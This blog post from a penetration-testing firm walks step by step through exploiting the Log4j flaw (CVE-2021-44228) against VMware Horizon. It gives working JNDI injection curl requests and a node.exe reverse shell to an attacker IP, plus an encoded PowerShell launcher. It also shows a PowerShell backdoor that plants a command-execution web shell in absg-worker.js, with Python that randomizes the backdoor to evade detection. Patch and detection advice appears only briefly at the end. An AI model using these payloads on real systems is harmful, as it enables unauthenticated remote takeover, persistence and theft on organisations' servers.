Browse Classifications
- All Resources
- Strategic Content
- Technical Content
- Ahead of the Breach Podcast Content
- Partner Program Content
A vulnerability was recently disclosed for the Java logging library, Log4j. The vulnerability is wide-reaching and affects both open-source projects and enterprise software. VMWare announced shortly after the release of the issue that several of their products were affected. A proof of concept has been released for VMWare Horizon instances and allows attackers to execute code as an unauthenticated user using a single HTTP request.
Using this vulnerability and a proof of concept script we have compiled, an attacker can execute arbitrary code on affected instances and implement a backdoor. A link to the repository containing the proof of concept code can be found below:
VMWare Horizon is used to provide a remote desktop session to users via a web browser. Horizon has several components, one of which is the VMWare View framework. This part of the application serves the web application that provides browser access to Horizon services. Navigating to the webpage for the application in a web browser will look something like the following:
The vulnerability itself is in the “Accept-Language” header issued to the endpoint “/portal/info.jsp” A complete web request to this endpoint is provided below:
GET /portal/info.jsp HTTP/1.1
Host: 10.100.100.45
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="96"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Accept-Language: <PAYLOAD>
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
To test for the vulnerability, let’s first grab a hostname from dnslog.cn and insert it in the following cURL command:
curl -vv -H "Accept-Language: \${jndi:ldap://l3m56a.dnslog.cn:1207/lol}" --insecure https://10.100.100.45/portal/info.jsp
Issue the cURL command and look for a DNS callback in DNSLog. If the host is vulnerable, you should see something like this come through:
Those DNS interactions above indicate that the host is indeed exploitable. In past articles, we then used local tools to get a reverse shell to interact with the underlying operating system.
First, you need to clone and build the tool, rogue-jndi from the GitHub repository linked below:
This one-liner should do everything you need:
git clone https://github.com/veracode-research/rogue-jndi && cd rogue-jndi && mvn package
Once the Jar is compiled, you will have to craft a command to deliver the reverse shell. Unlike vCenter and Unifi we don’t have ncat out of the box. Instead we are going to abuse the node.exe script interpreter to establish a reverse shell. Use a command similar to the following and replace the included IP and port.
C:\"Program Files"\VMware\"VMware View"\Server\appblastgateway\node.exe -r net -e "sh = require('child_process').exec('cmd.exe');var client = new net.Socket();client.connect(442, '192.168.1.1', function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});"
For ease of use, we are going to Base64 encode this and run it using PowerShell. Doing this is easiest via the iconv and Base64 utility on Unix systems. Put the command above into a file and feed it into the command below:
iconv -f ASCII -t UTF-16LE mycommand.txt | base64 | tr -d "\n"
Then, using rogue-jndi craft a command similar to the following but replace the included Base64 output with the string you just generated:
java -jar utils/rogue-jndi/target/RogueJndi-1.1.jar --command 'powershell -encodedcommand QwA6AFwAIgBQAHIAbwBnAHIAYQBtACAARgBpAGwAZQBzACIAXABWAE0AdwBhAHIAZQBcACIAVgBNAHcAYQByAGUAIABWAGkAZQB3ACIAXABTAGUAcgB2AGUAcgBcAGEAcABwAGIAbABhAHMAdABnAGEAdABlAHcAYQB5AFwAbgBvAGQAZQAuAGUAeABlACAALQByACAAbgBlAHQAIAAtAGUAIAAiAHMAaAAgAD0AIAByAGUAcQB1AGkAcgBlACgAJwBjAGgAaQBsAGQAXwBwAHIAbwBjAGUAcwBzACcAKQAuAGUAeABlAGMAKAAnAGMAbQBkAC4AZQB4AGUAJwApADsAdgBhAHIAIABjAGwAaQBlAG4AdAAgAD0AIABuAGUAdwAgAG4AZQB0AC4AUwBvAGMAawBlAHQAKAApADsAYwBsAGkAZQBuAHQALgBjAG8AbgBuAGUAYwB0ACgANAA0ADIALAAgACcAMQA5ADIALgAxADYAOAAuADEAMQAuADUAMAAnACwAIABmAHUAbgBjAHQAaQBvAG4AKAApAHsAYwBsAGkAZQBuAHQALgBwAGkAcABlACgAcwBoAC4AcwB0AGQAaQBuACkAOwBzAGgALgBzAHQAZABvAHUAdAAuAHAAaQBwAGUAKABjAGwAaQBlAG4AdAApADsAcwBoAC4AcwB0AGQAZQByAHIALgBwAGkAcABlACgAYwBsAGkAZQBuAHQAKQA7AH0AKQA7ACIACgA=' --hostname 192.168.11.50
Start a ncat listener and fire the following command while replacing the IP included in the Accepted-Language header with the host running rogue-jndi:
curl -vv -H "Accept-Language: \${jndi:ldap://192.168.11.50:1389/o=tomcat}" --insecure https://10.100.100.45/portal/info.jsp
Following the execution of the cURL command above, you should have a reverse shell waiting for you in the context of SYSTEM:
VMWare Horizon and VMWare View can only be installed on the Windows operating system. Getting a reverse shell from a Windows system is very possible and may be the desired route for individuals testing this exploit out in their labs. Real world attackers are aware however that Windows Server installations in corporate environments have endpoint detection and response utilities installed. Due to the insanely large number of these hosts exposed to the internet, it is also unfeasible to manage thousands of reverse shells and perform post-exploitation activities.
Attackers have therefore opted to abuse the VMWare View installation and the included VMWare Blast Secure Gateway application. More information on the blast gateway application can be found below:
The Blast Secure Gateway is a NodeJS application and mainly functions through the execution of a file titled “absg-worker.js”. Furthermore, the secure Gateway is managed using the Non Sucking Service Manager utility (nssm.exe). VMWare made the manipulation of all of these applications very easy for us in practice as the recommended several of the executables are excluded from AV and EDR monitoring:
Attackers quickly picked up on this and have crafted payloads to insert a pseudo web shell into the file “absg-worker.js”. Using a one-line PowerShell command, JavaScript code is added to the file to provide a method for command execution in the Blast Secure Gateway application exposed on port 8443. An example of a command that defenders have observed in the wild to accomplish this task is listed below:
cmd /C "powershell -c "$path=gwmi win32_service|?{$_.Name -like """*VMBlastSG*"""}|%{$_.PathName -replace '"""', '' -replace """nssm.exe""","""lib\absg-worker.js"""};$expr="""req.connection.end();`r`n`t`t`t}`r`n`r`n`t`t`tif (String(req.url).includes('lxmvvZ3S4o250Tw22Z9vTao0cJFmkplDoi828cVwQtZVj3eUbb')) {`r`n`t`t`t`ttry {`r`n`t`t`t`t`treplyError(req, res, 200, require('child_process').execSync(`r`n`t`t`t`t`t`tBuffer.from(req.headers['data'], 'base64').toString('ascii')`r`n`t`t`t`t`t).toString());`r`n`t`t`t`t}`r`n`t`t`t`tcatch (err) {`r`n`t`t`t`t`treplyError(req, res, 400, err.stderr.toString());`r`n`t`t`t`t}`r`n`t`t`t`treturn;""";(Get-Content $path)|ForEach-Object {$_ -replace """req.connection.end\(\)\;""", $expr}|Set-Content $path;Restart-Service -Force VMBlastSG""
Thanks to @vRobSmith on Twitter for reaching out with the real-world usage example of this command! A link to the JoeSandbox analysis of the launcher above can be found below:
Let’s quickly break this code down to understand what it’s doing. The command first finds the VMBlastSG process and extracts the file path it is running from. This is to presumably avoid failed exploitation in situations where VMBlastSG is running from a non-standard location:
$path=gwmi win32_service|?{$_.Name -like """*VMBlastSG*"""}|%{$_.PathName -replace '"""', '' -replace """nssm.exe""","""lib\absg-worker.js"""};
The output path is modified to directly point at the absg-worker.js file to facilitate the upcoming modifications. Using this behemoth of a command, a malicious JavaScript function is added to the file:
$expr="""req.connection.end();`r`n`t`t`t}`r`n`r`n`t`t`tif (String(req.url).includes('lxmvvZ3S4o250Tw22Z9vTao0cJFmkplDoi828cVwQtZVj3eUbb')) {`r`n`t`t`t`ttry {`r`n`t`t`t`t`treplyError(req, res, 200, require('child_process').execSync(`r`n`t`t`t`t`t`tBuffer.from(req.headers['data'], 'base64').toString('ascii')`r`n`t`t`t`t`t).toString());`r`n`t`t`t`t}`r`n`t`t`t`tcatch (err) {`r`n`t`t`t`t`treplyError(req, res, 400, err.stderr.toString());`r`n`t`t`t`t}`r`n`t`t`t`treturn;""";(Get-Content $path)|ForEach-Object {$_ -replace """req.connection.end\(\)\;""", $expr}|Set-Content $path
In my opinion, whoever wrote that deserves a medal. The command first looks for a line containing the text, “req.connection.end()”. What is happening on that line is widely irrelevant to the attacker. It only occurs once in the absg-worker.js file and provides us with a great place to place a malicious function. The PowerShell command then inserts a function similar to the one shown below:
if (String(req.url).includes('lxmvvZ3S4o250Tw22Z9vTao0cJFmkplDoi828cVwQtZVj3eUbb')) {
try {
replyError(req, res, 200, require('child_process').execSync(
Buffer.from(req.headers['data'], 'base64').toString('ascii')
).toString());
} catch (err) {
replyError(req, res, 400, err.stderr.toString());
}
return;
}
Let’s quickly break this down line by line. First and foremost, the function looks for an inbound request to the specified path:
if (String(req.url).includes('lxmvvZ3S4o250Tw22Z9vTao0cJFmkplDoi828cVwQtZVj3eUbb'))
If a request to that endpoint is observed, the function then attempts to create a child_process using NodeJS.
try {
replyError(req, res, 200, require('child_process').execSync(
Buffer.from(req.headers['data'], 'base64').toString('ascii')
).toString());
}
More information about this functionality is linked below:
The function will look for the header “data” and base64 decode its contents. Whatever command it finds will be executed in the context of NT AUTHORITY \ SYSTEM. Following that, we have some simple error handling.
catch (err) {
replyError(req, res, 400, err.stderr.toString());
}
return;
}
All in all, this code execution method and backdoor is 10 lines long and extremely effective. Working our way back to the PowerShell command, we find that the VMBlastSG process is restarted using the following command:
Restart-Service -Force VMBlastSG
First and foremost, what if the VMBlastSG process isn’t running in the first place? Guess what, it usually isn’t. From what I can tell it isn’t enabled by default. A far from a large number of 28 instances are in the US according to Shodan:
Instead, let’s just simply hardcode the path to the absg-worker.js file:
$path="C:\Program Files\VMware\VMware View\Server\\appblastgateway\lib\\absg-worker.js"
Furthermore, the URL path and header inserted in the JavaScript function aren’t dynamically generated. Using our published exploit code, this is done which subsequently makes detection and reusability by other attackers much more difficult. Using Python we search and replace the URL path and header value using the code below:
url_path = ''.join(random.choices(string.ascii_lowercase, k = 25))
payload_header = ''.join(random.choices(string.ascii_lowercase, k = 5))
backdoor = '''$path="C:\Program Files\VMware\VMware View\Server\\appblastgateway\lib\\absg-worker.js";$expr="req.connection.end();`r`n`t`t`t}`r`n`r`n`t`t`tif (String(req.url).includes('URL_PATH')) {`r`n`t`t`t`ttry {`r`n`t`t`t`t`treplyError(req, res, 200, require('child_process').execSync(`r`n`t`t`t`t`t`tBuffer.from(req.headers['HEADER'], 'base64').toString('ascii')`r`n`t`t`t`t`t).toString());`r`n`t`t`t`t}`r`n`t`t`t`tcatch (err) {`r`n`t`t`t`t`treplyError(req, res, 400, err.stderr.toString());`r`n`t`t`t`t}`r`n`t`t`t`treturn;";(Get-Content $path)|ForEach-Object {$_ -replace "req.connection.end\(\)\;", $expr}|Set-Content $path;Restart-Service -Force VMBlastSG'''
# Inserting random header and URL path
header_replace = backdoor.replace('HEADER', payload_header)
url_replace = header_replace.replace('URL_PATH', url_path)
The bulk of the edits made to absg-worker.js are otherwise the same. Again, give this hacker a medal!
$expr="req.connection.end();`r`n`t`t`t}`r`n`r`n`t`t`tif (String(req.url).includes('URL_PATH')) {`r`n`t`t`t`ttry {`r`n`t`t`t`t`treplyError(req, res, 200, require('child_process').execSync(`r`n`t`t`t`t`t`tBuffer.from(req.headers['HEADER'], 'base64').toString('ascii')`r`n`t`t`t`t`t).toString());`r`n`t`t`t`t}`r`n`t`t`t`tcatch (err) {`r`n`t`t`t`t`treplyError(req, res, 400, err.stderr.toString());`r`n`t`t`t`t}`r`n`t`t`t`treturn;";(Get-Content $path)|ForEach-Object {$_ -replace "req.connection.end\(\)\;", $expr}
Finally, we restart the VMBlastSG service using PowerShell the same way the original attacker did it:
Restart-Service -Force VMBlastSG
The repository below makes the exploitation of this issue easy.
Please note that to prevent skiddies from using this en masse, I have added some “features” that make detection and attribution easy for defenders in most situations. Furthermore, this script can’t easily be run against a large number of hosts. Additional features would have to be added to make mass exploitation capabilities a reality. An example of the tool adding a backdoor to a vulnerable Horizon instance is shown in the screenshot below:
As an added treat, I have also added the ability to establish a reverse shell using VMWare included node.exe. This may provide us with some extra defense evasion but I expect that again, any EDR worth something will catch node.exe spawning a command prompt and stop it.
Installation and usage information can be found in the repositories README.md file.
We want to call out immediately that the exploit detailed in this article serves as one of the largest risks to face organizations following the release of CVE-2021-44228. The software solution is almost exclusively used by organizations making it an ideal target for ransomware operators and initial access brokers.
When exploited, code execution occurs in the context of SYSTEM and results in a complete takeover of the Windows host. Furthermore, due to the fact that administrative accounts are needed to facilitate the VMWare Horizon solution, a quick dump of lsass.exe on the host can very likely instantly result in a complete takeover of internal Active Directory domains. Suffice to say, we recommend that you patch NOW and invoke IR if your system went unpatched during the past week. VMSA-2021-0028.8 from VMWare includes all the details needed to patch or employee workarounds to prevent exploitation.
Note that if you implemented workarounds anytime in the last week, you should immediately invoke IR to review changes made to the absg-worker.js file. Detection is super easily automated by looking for the existence of the string “child_process”.
I haven’t been able to review all iterations of absg-worker.js file across VMWare View versions myself, but assume it is very unlikely that this functionality will ever be included. Looking for strings such as “data” or specific URI paths will not work long term here. I have been able to dynamically generate header values and URI paths in thirty minutes via Python. Real attackers have been doing this for a week already and most likely did the same. Further notes on detection and response can be found in the NHS article linked below:
Whether your organization has been compromised or not, it seems as if the Log4j vulnerability will be here for some time. With Continuous Penetration Testing, you’re able to monitor and test for vulnerabilities year-round – and in real-time – to make sure your network is protected from such vulnerabilities. If you want to learn more, get in touch any time.
Continuous Human & Automated Security
Continuously monitor your attack surface with advanced change detection. Upon change, testers and systems perform security testing. You are alerted and assisted in remediation efforts all contained in a single security application, the Sprocket Platform.